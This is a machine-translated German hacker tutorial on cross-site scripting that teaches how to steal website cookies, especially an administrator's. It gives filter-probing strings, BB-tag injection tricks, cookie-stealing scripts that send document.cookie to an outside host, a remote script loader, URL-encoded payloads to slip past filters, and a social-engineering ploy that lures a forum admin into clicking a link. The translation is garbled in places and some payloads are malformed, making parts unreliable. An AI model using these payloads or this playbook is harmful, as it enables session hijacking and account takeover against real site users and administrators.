This page has been robot translated, sorry for typos if any. Original content here.

Beschreibung Xss von A bis Z.



  • Xss ist Css => Cross Site Scripting
  • Wie benutzt man XSS?
  • Was ist ein XSS-Angriff?
  • Was ist passiv und aktiv XSS?
  • Also gehe ich speziell auf, wie man auf dieser Seite XSS findet.
  • Und wie kann man feststellen, ob es einen Filter gibt oder nicht?
  • Aktives XSS
  • Wir haben immer die Art Codes gemacht
  • Wie kann ich es für einen Link mit Xss ersetzen?


  • Xss ist Css => Cross Site Scripting

    Nicht zu verwechseln mit CSS heißt auch XSS
    Zum ersten Mal erschien diese BAG 1997.



    Wie benutzt man XSS?


    Zuerst müssen wir wissen, was ein Cookie ist.
    Wenn Sie wissen, können Sie überspringen.

    Cookies werden verwendet, um Website-Anmeldeinformationen auf dem Computer des Besuchers zu speichern.
    Wenn Sie sich auf der Website unter dem Namen 'blabluble' registriert haben, dann hat die Website eine Datei mit Cookies auf Ihrem Computer gespeichert, wo Ihre Daten codiert sind.
    Und wenn du einen Administrator hast und du Zugang zu der Seite hast und ich bin ein Benutzer, der von dir (Admin) Cookies gestohlen hat, dann kann ich sicher auf die Seite gehen und die Seite definiert mich als 'admin' - ich habe Administratorrechte.

    Um zu ändern (ersatz gestohlen) kochen Ich rate Ihnen, CookieEdit für IE oder integrierte Funktionen in Opera und Firefox zu verwenden.

    Um Cookies abzufangen, musst du einen Platz auf der Seite finden, wo du einen XSS-Angriff ausführen kannst.


    Was ist ein XSS-Angriff?


    XSS-Angriffe sind Angriffe nicht auf der Website selbst, sondern auf Benutzer der Website.
    XSS ist ein Fehler im Filter, Anwendung.

    Es gibt passive XSS und aktive XSS.

    Was ist passiv und aktiv XSS?


    Passiv - diese Xss, die das Opfer direkt teilnehmen müssen, gibt es spezifische Einschränkungen und Schwierigkeiten.
    Daher wird passives XSS nicht sehr geschätzt.
    Zum Beispiel müssen Sie es durch eine giftige Verbindung, die Social Engineering, Schlauheit erfordern.

    Aktiv - das XSS, das keine zusätzlichen Aktionen vom Opfer benötigt - es genügt nur, die Seite mit deinem XSS zu öffnen und der Java-Code wird automatisch ausgeführt.
    Dank ihrer Automatisierung - sie sind sehr nützlich und wertvoll.
    Zum Beispiel existiert aktive xss in BB-Tags wegen unzureichender Filterung, wenn du eine Nachricht im Forum \ guestbook \ chat verlässt, die bei jedem Update immer aktiv sein wird.




    Also gehe ich speziell auf, wie man auf dieser Seite XSS findet.


    Wie ich schon geschrieben habe, besteht XSS aus Tags, sie bestehen auch aus html und javascript =).

    Javascript kann in html eingegeben werden.
    Kann zur Umgehung von Filtern codiert werden. Aber mehr darüber später.

    Woher wissen Sie, dass XSS auf einer bestimmten Seite durchläuft?
    Schreckliche Frechheit des Typs
    <Script> alert () </ script> Wir versuchen, dieses Skript in alle verschiedenen Felder einzufügen ... wenn eine Nachricht erschienen ist, wurde das Skript verarbeitet und ausgeführt.

    Die häufigste XSS (beobachtet an allen Orten, wo schlechte Filterung):

    "> <Script> alert () </ script>

    Der ganze Punkt ist "> .

    Lassen Sie uns darüber nachdenken, was wir tun, wenn wir das Feld "> <script> alert () </ script> eingeben, was passiert?

    Wir geben eine Variable in der Form "> <script> alert () </ script> einer Variablen ein." Die Variable wird verarbeitet, "> führt, schließt

    Skript und ruft <script> alert () </ script> auf

    Diese XSS ist die beliebteste in Suchmaschinen:

    Wir scannen alle Felder der Website und versuchen, "> <script> alert () </ script> einzufügen
    Wenn die Nachricht herauskam - findest du XSS ...




    Und wie kann man feststellen, ob es einen Filter gibt oder nicht?


    Nur in irgendeinem Feld geben Sie ein: '';! - "<########> = & {()}
    Dann öffne die HTML-Seite und suche das Wort "########"
    Und sehe die nachfolgenden sivoli ..

    Wenn <> es bleibt, dass dies das erste Anzeichen von Verwundbarkeit ist - dann hat der Filter ein Loch.
    Wenn "\\ Zeichen die gleichen sind wie sie eingegeben wurden - das ist das zweite Zeichen der Schwachstelle - mögliche zusätzliche Zeichen für den nachfolgenden XSS-Angriff.
    Dann, wenn du HTML öffnest, hast du nicht gefunden <> dann höchstwahrscheinlich ein Loch im Filter.
    Wenn du HTML öffnest, findest du, dass <> durch andere Zeichen ersetzt wird, dann ist dies ein schmerzlicher - ein absoluter Filter
    Es funktioniert normal.
    Es ist auch möglich, im Feld die folgenden zu schreiben: "> <> '"

    Betrachten Sie den Fall, wenn der Filter isst <>

    In diesem Fall gibt es eine Lochwahrscheinlichkeit.
    Zum Beispiel hat ein Filter die Bedingung zu essen <script>, <> und.
    Dann versuchen Sie <zxcvb script: alert ();

    Der Filter sieht aus, dass nichts gefährlich ist in <IMG% 20SRC = "java script: alert (); nein, es schließt und damit
    Das Skript ausführen.

    Natürlich, wenn der Filter keine anderen Codierungen filtert, können Sie versuchen, das Skript zu codieren und den Code einzufügen.

    Alles was du probierst ...
    Versuche, in die Felder einzutreten und sorgfältig zu überprüfen, was wir aus dem Filter bekommen haben.
    Die Methode der Tyke zu verstehen, wie der Filter funktioniert, ob es irgendwelche Mängel hat.
    Wenn der Filter schlecht ist, können wir immer Scripts einfügen.




    Aktives XSS


    Hier müssen Sie die erlaubten Tags verwenden und dann verstecken, müssen Sie die Abfrage ausführen.

    Zum Beispiel, Tags url, bb, img.
    Der ganze Punkt der Einfügung ist, dass wir die Abfrage in die img oder url Parität einbetten müssen. Img hat viele Parameter außer src und alt.
    Dieser Bug wird sehr oft auf dem Forum benutzt, in Gästebüchern ...

    Betrachten Sie aktives XSS.

    Warnungen !!!

    Tags [fon * t], [im * g], [ur * l] sind mit * geschrieben, um sicherzustellen, dass sie nicht mit dem Website-Code verschmelzen.
    Um diese Tags zu verwenden, löschen Sie * .

    Zum Beispiel, überprüfen Sie das Forum für die Verwendung von Tags [fon * t], [im * g], [ur * l] und versuchen, ein Skript in sie einfügen oder kombinieren sie:

    [Im * g] httr: //www.qwewqw.ru/1.jpg [/ im * g] Es gibt ein Kreuz ... bedeutet, dass img verwendet wird und wir es abgeholt haben (es ist nur, dass es img aktiviert ist und Admins aus Erstellen einer Nachricht, die es entfernt wird, sagen, die Bilder können nicht eingefügt werden und es kann verwendet werden
    Verschiedene Formen) Wenn es kein Kreuz gibt ... und die ganze Inschrift hängt, dann probier das aus:
    [Im * g src = httr: //www.qwewqw.ru/1.jpg]

    Nun, zum Beispiel haben wir ein Kreuz mit diesem erreicht:
    [Im * g] httr: //www.qweqw.ru/1.jpg [/ im * g]

    Prüfen Sie, ob der Filter ein Leerzeichen enthält, fügen Sie nach der Erweiterung jpg ein Leerzeichen hinzu:
    [Im * g] httr: //www.qweqw.ru/1.jpg [/ im * g]
    Wenn es ein Kreuz gibt - dann ist alles in Ordnung.

    Weiter gibt es img Parameter dynsrc und lowsrc, die Javascript halten. Wir versuchen zum Beispiel:
    [Im * g] http://www.qwewqw.ru/1.jpg dynsrc = java script: alert () [/ im * g]
    Prüfen, senden - die Meldung erscheint - es bedeutet, dass du das aktive XSS gefunden hast und anstelle von Alert () kannst du jedes Skript einfügen.

    Wenn der Filter nicht aufgibt, versuchen Sie das:
    [Im * g] http://www.qweqw.ru/ "/ dynsrc =" java script: alert () "/ 1.jpg [/ im * g]
    Und
    [Im * g] http://www.qwewqw.ru/ "/ dynsrc = java script: alert () / 1.jpg [/ im * g]

    Wenn aus den obigen Beispielen ein Kreuz erhalten wurde, dann wird httr: //www.qweqw.ru/1.jpg durch die Adresse des Sniffer ersetzt.

    Es gibt Zeiten, wenn jpg vom Administrator deaktiviert ist.




    Wir haben immer Codes wie:


    <script>alert('HakNet')</script>
    java script:alert('HakNet')
    java script:alert('HakNet')/1.jpg и так далие..
    Aber sie haben keinen Vorteil gebracht, sie sind nur Codes für das Testen (Testen) auf Xss.

    Hier ist das Drehbuch:
    <script>
    img = new Image();
    img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
    </script>
    Er stiehlt bereits Cookies =)




    Wie kann ich es für einen Link mit Xss ersetzen?


    Ja, ganz einfach ...
    Es gibt mehrere Möglichkeiten:

    - 1) machen wir das:
    http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script> wo **** die Seite mit Xss.

    Hier ist das kompilierte Skript:
    '><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
    - 2) Du kannst das noch tun:
    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script> wo es sich auf http: // haknet bezieht .h16.ru / script / js.js

    Und in js.js gibt es:
    img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie; Diese Methode ist zuverlässiger.

    Aber wie ich schon geschrieben habe - manchmal gibt es Schwierigkeiten mit den Filtern auf der Seite (unser Skript rollt nicht).
    Dann musst du darüber nachdenken, wie man es umgibt.
    Sie können einfach etwas hinzufügen, etwas ändern oder in einem Skript löschen.
    Aber es gibt eine zuverlässigere Option, wenn wir nur das Skript kodieren. Es gibt viele Progs dafür.
    Es gibt eine solche Website wie http://ha.ckers.org/xss.html (Encoder-Decoder).

    Hier ist ein Beispiel:
    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
    Es war codiert:

    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
    - 3) Besonders die Verschlüsselung ist notwendig, um nicht nur die Filter zu täuschen, sondern auch ADMIN zu täuschen, wenn man PASSIVE CSU benutzt.

    Hier ist ein Beispiel, das auf Social Engineering basiert.
    Wir sind auf der Suche nach Kontakt mit dem Forum Administrator, wir werfen ihm einen Link zu seiner Website im Forum, und er sagt "so cool Feature ist auf der Website" und so weit in den gleichen Geist.
    Und auf unserer Seite wird wie du schon erraten hat =) hier ist das Drehbuch:

    <script language="JavaScript">
    document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
    </script>

    Was fragst du dokument. )) .. Dies ist Java-Code, der ohne eine Anforderung an die angegebene Seite geht. Also tut es, wir geben den Link zum Admin, und er ging auf unsere Seite, das ist was getan wird .. er schnell wirft es auf

    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E und das ist schon unser Xss in verschlüsselter Form.

    Hinweis: Das wird nur funktionieren, wenn Xss dem Site-Administrator gehört, an den du den Link gelassen hast ...
    Mit anderen Worten, die SCHWIERIGKEIT DER PASSIVEN CSU ist, dass die Anfälligkeit nur verwendet werden kann, wenn das Opfer an einer anfälligen Stelle AUTORISIERT ist !!!